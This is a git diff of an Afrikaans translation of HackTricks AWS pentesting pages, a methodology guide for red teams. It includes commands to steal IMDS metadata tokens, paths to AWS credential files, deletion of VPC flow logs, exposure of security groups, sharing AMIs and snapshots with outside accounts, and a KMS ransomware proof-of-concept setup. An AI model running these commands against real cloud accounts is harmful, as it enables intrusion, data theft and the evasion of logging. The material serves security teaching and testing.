mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
**Voordat jy begin pentesting** 'n **AWS** omgewing, is daar 'n paar **basiese dinge wat jy moet weet** oor hoe AWS werk om jou te help verstaan wat jy moet doen, hoe om miskonfigurasies te vind en hoe om dit te benut.
|
||||
|
||||
Konsepte soos organisasie hiërargie, IAM en ander basiese konsepte word verduidelik in:
|
||||
Konsepte soos organisasiehiërargie, IAM en ander basiese konsepte word verduidelik in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
@@ -31,19 +31,19 @@ Gereedskap om aanvalle te simuleer:
|
||||
|
||||
Om 'n AWS omgewing te oudit, is dit baie belangrik om te weet: watter **dienste gebruik word**, wat is **blootgestel**, wie het **toegang** tot wat, en hoe is interne AWS dienste en **eksterne dienste** gekoppel.
|
||||
|
||||
Vanuit 'n Red Team perspektief, is die **eerste stap om 'n AWS omgewing te kompromitteer** om daarin te slaag om 'n paar **akkrediteerbare** te verkry. Hier is 'n paar idees oor hoe om dit te doen:
|
||||
Vanuit 'n Red Team perspektief, is die **eerste stap om 'n AWS omgewing te kompromitteer** om daarin te slaag om 'n paar **akkrediteerbare inligting** te verkry. Hier is 'n paar idees oor hoe om dit te doen:
|
||||
|
||||
- **Leaks** in github (of soortgelyk) - OSINT
|
||||
- **Sosiale** Ingenieurswese
|
||||
- **Wagwoord** hergebruik (wagwoordlekke)
|
||||
- Kw vulnerabilities in AWS-gehoste toepassings
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata eindpunt
|
||||
- Kwesbaarhede in AWS-gehoste toepassings
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) met toegang tot metadata-eindpunt
|
||||
- **Plaaslike Lêer Lees**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3de partye **gekompromitteer**
|
||||
- **Interne** Werknemer
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)akkrediteerbare
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)akkrediteerbare inligting
|
||||
|
||||
Of deur **'n nie-geauthentiseerde diens** wat blootgestel is te kompromitteer:
|
||||
|
||||
@@ -51,14 +51,14 @@ Of deur **'n nie-geauthentiseerde diens** wat blootgestel is te kompromitteer:
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Of as jy 'n **hersiening** doen, kan jy net **vraag vir akkrediteerbare** met hierdie rolle:
|
||||
Of as jy 'n **hersiening** doen, kan jy net **vraag vir akkrediteerbare inligting** met hierdie rolle:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nadat jy daarin geslaag het om akkrediteerbare te verkry, moet jy weet **aan wie behoort daardie akkrediteerbare**, en **waartoe hulle toegang het**, so jy moet 'n paar basiese enumerasie uitvoer:
|
||||
> Nadat jy daarin geslaag het om akkrediteerbare inligting te verkry, moet jy weet **aan wie behoort daardie akkrediteerbare inligting**, en **waartoe hulle toegang het**, so jy moet 'n paar basiese enumerasie uitvoer:
|
||||
|
||||
## Basiese Enumerasie
|
||||
|
||||
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
|
||||
As jy 'n SSRF in 'n masjien binne AWS gevind het, kyk na hierdie bladsy vir truuks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let daarop dat maatskappye dalk **canary tokens** gebruik om te identifiseer wanneer **tokens gesteel en gebruik word**. Dit word aanbeveel om te kontroleer of 'n token 'n canary token is of nie voordat jy dit gebruik.\
|
||||
> Let daarop dat maatskappye **kanarie tokens** mag gebruik om te identifiseer wanneer **tokens gesteel en gebruik word**. Dit word aanbeveel om te kontroleer of 'n token 'n kanarie token is of nie voordat jy dit gebruik.\
|
||||
> Vir meer inligting [**kyk na hierdie bladsy**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Organisasie Enumerasie
|
||||
@@ -102,7 +102,7 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
As jy genoeg regte het, sal **die privileges van elke entiteit binne die AWS-rekening nagaan** jou help om te verstaan wat jy en ander identiteite kan doen en hoe om **privileges te verhoog**.
|
||||
|
||||
As jy nie genoeg regte het om IAM te enumerate nie, kan jy dit **steal bruteforce** om dit uit te figure.\
|
||||
As jy nie genoeg regte het om IAM te evalueer nie, kan jy dit **steal bruteforce** om dit uit te vind.\
|
||||
Kyk **hoe om die numerasie en bruteforcing te doen** in:
|
||||
|
||||
{{#ref}}
|
||||
@@ -110,8 +110,8 @@ aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nou dat jy **'n paar inligting oor jou akrediteer** (en as jy 'n rooi span is hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
|
||||
> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te enumerate.**
|
||||
> Nou dat jy **'n bietjie inligting oor jou akrediteer** (en as jy 'n rooi span is hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
|
||||
> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te evalueer.**
|
||||
|
||||
## Dienste Enumerasie, Post-Exploitation & Persistensie
|
||||
|
||||
@@ -121,7 +121,7 @@ AWS het 'n verbasende hoeveelheid dienste, in die volgende bladsy sal jy **basie
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Let daarop dat jy **nie** al die werk **handmatig** hoef te doen nie, hieronder in hierdie pos kan jy 'n **afdeling oor** [**outomatiese gereedskap**](./#automated-tools) vind.
|
||||
Let daarop dat jy **nie** al die werk **handmatig** hoef te doen nie, hieronder in hierdie pos kan jy 'n **afdeling oor** [**outomatiese gereedskap**](#automated-tools) vind.
|
||||
|
||||
Boonop, in hierdie fase mag jy **meer dienste ontdek wat aan nie-geverifieerde gebruikers blootgestel is,** jy mag in staat wees om dit te benut:
|
||||
|
||||
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Verhoging
|
||||
|
||||
As jy **ten minste jou eie regte** oor verskillende hulpbronne kan **nagaan**, kan jy **kyk of jy verdere regte kan verkry**. Jy moet ten minste fokus op die regte wat in:
|
||||
As jy **ten minste jou eie regte** oor verskillende hulpbronne kan nagaan, kan jy **kyk of jy in staat is om verdere regte te verkry**. Jy moet ten minste fokus op die regte wat in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -139,13 +139,13 @@ aws-privilege-escalation/
|
||||
|
||||
## Publiek Blootgestelde Dienste
|
||||
|
||||
Terwyl jy AWS-dienste enumerate, mag jy sommige van hulle gevind het wat **elemente aan die Internet blootstel** (VM/Containers poorte, databasisse of wagdiens, snapshots of emmers...).\
|
||||
As pentester/red teamer moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind aangesien dit jou **verdere toegang tot die AWS-rekening** mag bied.
|
||||
Terwyl jy AWS-dienste evalueer, mag jy sommige van hulle gevind het wat **elemente aan die Internet blootstel** (VM/Containers poorte, databasisse of wagdiens, snappings of emmers...).\
|
||||
As pentester/rooi spanlid moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind, aangesien dit jou mag voorsien van **verdere toegang tot die AWS-rekening**.
|
||||
|
||||
In hierdie boek behoort jy **inligting** te vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste** te vind, sou ek jou aanbeveel om **te soek** na die spesifieke **diens** in:
|
||||
In hierdie boek moet jy **inligting** vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste te vind**, sou ek jou aanbeveel om te **soek** na die spesifieke **diens** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Kompromitering van die Organisasie
|
||||
@@ -156,12 +156,12 @@ Wanneer die bestuurrekening nuwe rekeninge in die organisasie skep, word 'n **nu
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, om as administrateur toegang tot 'n kindrekening te verkry, moet jy:
|
||||
So, om as administrateur toegang te verkry tot 'n kindrekening, moet jy:
|
||||
|
||||
- **Kompromiteer** die **bestuur** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole standaard) wat die bestuurrekening toelaat om as admin toegang te verkry.
|
||||
- Om kindrekening te vind, gaan na die organisasieseksie in die aws-konsol of voer `aws organizations list-accounts` uit.
|
||||
- Jy kan nie die name van die rolle direk vind nie, so kyk na al die persoonlike IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekening** toelaat.
|
||||
- **Kompromiteer** 'n **hoof** in die bestuurrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekening** (selfs as die rekening enige iemand van die bestuurrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig).
|
||||
- Om kindrekeninge te vind, gaan na die organisasieseksie in die aws-konsol of hardloop `aws organizations list-accounts`
|
||||
- Jy kan nie die name van die rolle direk vind nie, so kyk na al die pasgemaakte IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekeninge** toelaat.
|
||||
- **Kompromiteer** 'n **hoof** in die bestuurrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekeninge** (selfs as die rekening enige iemand van die bestuurrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig).
|
||||
|
||||
## Outomatiese Gereedskap
|
||||
|
||||
@@ -178,7 +178,7 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is 'n **multi-cloud hulpmiddel om Bate** (Gasname, IP Adresse) van Cloud Verskaffers te verkry.
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is 'n **multi-cloud hulpmiddel om Bate** (Gasname, IP Adresse) van Wolk Verskaffers te verkry.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper help jou om jou Amazon Web Services (AWS) omgewings te analiseer. Dit bevat nou baie meer funksionaliteit, insluitend ouditering vir sekuriteitskwessies.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
@@ -235,13 +235,13 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer, en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Gebruik python2) Dit is 'n hulpmiddel wat probeer om **alle** [**AWS hulpbronne**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) wat in 'n rekening geskep is, te **ontdek**.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (beide IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **haal**.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (both IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **haal**.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ontdek die mees bevoorregte gebruikers in die gescande AWS-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell. Jy kan die **definisie van bevoorregte beleide** in die funksie **`Check-PrivilegedPolicy`** vind in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitasiestelsel**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict.
|
||||
- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd).
|
||||
- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd nie).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentreaksie, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentrespons, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel geskep om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind.
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel wat geskep is om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditinstrument, wat sekuriteitsposisie-evaluering van wolkomgewings moontlik maak.
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditeringstoel, wat sekuriteitsposisie-evaluering van wolkomgewings moontlik maak.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -330,13 +330,13 @@ scout --help
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (gebruik python2.7 en lyk ononderhoude)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde krediete binne die stelsel.
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde kredensiale binne die stelsel.
|
||||
|
||||
### Konstante Oudit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëls engine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die adhoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteit outomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleid as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word geëvalueer teen hierdie beleide om beleid nakoming te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties te reageer op beleids oortredings deur vooraf gedefinieerde aksies te neem.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku** , **met data bronne en waarskuwing logika wat jy definieer**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëlsengine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die adhoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteitsoutomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleid as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word teen hierdie beleide geëvalueer om beleid nakoming te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties op beleid oortredings te reageer deur vooraf gedefinieerde aksies te neem.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
```bash
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
Vir inligting oor SAML, kyk asseblief:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Om 'n **Identiteitsfederasie deur SAML** te konfigureer, moet jy net 'n **naam** en die **metadata XML** wat al die SAML-konfigurasie bevat (**eindpunte**, **sertifikaat** met publieke sleutel) verskaf.
|
||||
@@ -19,7 +19,7 @@ Om 'n github aksie as Identiteitsverskaffer by te voeg:
|
||||
1. Vir _Verskaffer tipe_, kies **OpenID Connect**.
|
||||
2. Vir _Verskaffer URL_, voer `https://token.actions.githubusercontent.com` in.
|
||||
3. Klik op _Kry duimafdruk_ om die duimafdruk van die verskaffer te kry.
|
||||
4. Vir _Teiken_, voer `sts.amazonaws.com` in.
|
||||
4. Vir _Doelgroep_, voer `sts.amazonaws.com` in.
|
||||
5. Skep 'n **nuwe rol** met die **toestemmings** wat die github aksie benodig en 'n **vertrouensbeleid** wat die verskaffer vertrou soos:
|
||||
- ```json
|
||||
{
|
||||
@@ -44,9 +44,9 @@ Om 'n github aksie as Identiteitsverskaffer by te voeg:
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** geautoriseer is met 'n spesifieke **trigger**.
|
||||
7. Die **ARN** van die **rol** wat die github aksie in staat gaan wees om te **verteenwoordig**, gaan die "geheime" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**.
|
||||
8. Laastens, gebruik 'n github aksie om die AWS kredensiale te konfigureer wat deur die werksvloei gebruik gaan word:
|
||||
6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** met 'n spesifieke **trigger** gemagtig was.
|
||||
7. Die **ARN** van die **rol** wat die github aksie gaan kan **naboots**, gaan die "geheim" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**.
|
||||
8. Laastens, gebruik 'n github aksie om die AWS krediete te konfigureer wat deur die werksvloei gebruik gaan word:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
@@ -108,7 +108,7 @@ Dit is moontlik om **OIDC providers** in 'n **EKS** kluster te genereer deur een
|
||||
]
|
||||
}
|
||||
```
|
||||
Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteits-token** in staat gaan wees om die rol te **aanvaar**.
|
||||
Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteitskennisgewing** in staat gaan wees om die rol te **aanvaar**.
|
||||
|
||||
Om te spesifiseer **watter diensrekening die rol moet kan aanvaar,** is dit nodig om 'n **voorwaarde** te spesifiseer waar die **diensrekeningnaam gespesifiseer word**, soos:
|
||||
```bash
|
||||
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Kopieer Loopende Instansie
|
||||
|
||||
Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 voorregverhoging truuks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop**:
|
||||
Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 voorregverhoging truuks](../../aws-privilege-escalation/aws-ec2-privesc.md)). 'n Ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -79,13 +79,13 @@ Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open:
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc na ECS
|
||||
### Privesc to ECS
|
||||
|
||||
Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.
|
||||
|
||||
Vir [**meer inligting kyk hierna**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Verwyder VPC vloei logs
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -95,7 +95,7 @@ Vereiste toestemmings:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Veiligheidsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster.
|
||||
Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie as gevolg van Veiligheidsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster.
|
||||
|
||||
> Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -104,8 +104,8 @@ Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Kry die Bastion EC2 AWS tydelike akrediteerings met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skrip
|
||||
4. Oordra die akrediteerings na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel
|
||||
3. Kry die Bastion EC2 AWS tydelike geloofsbriewe met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip
|
||||
4. Oordra die geloofsbriewe na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel
|
||||
5. Meld aan by EKS as die Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
@@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s audit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
|
||||
Let wel dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tunnel getonnel word, is jy veilig teen enige vorm van MitM-aanvalle.
|
||||
|
||||
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
|
||||
### Deel AMI
|
||||
```bash
|
||||
@@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
|
||||
'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik.
|
||||
|
||||
Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Hoof te laat toe om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.
|
||||
Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Prinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
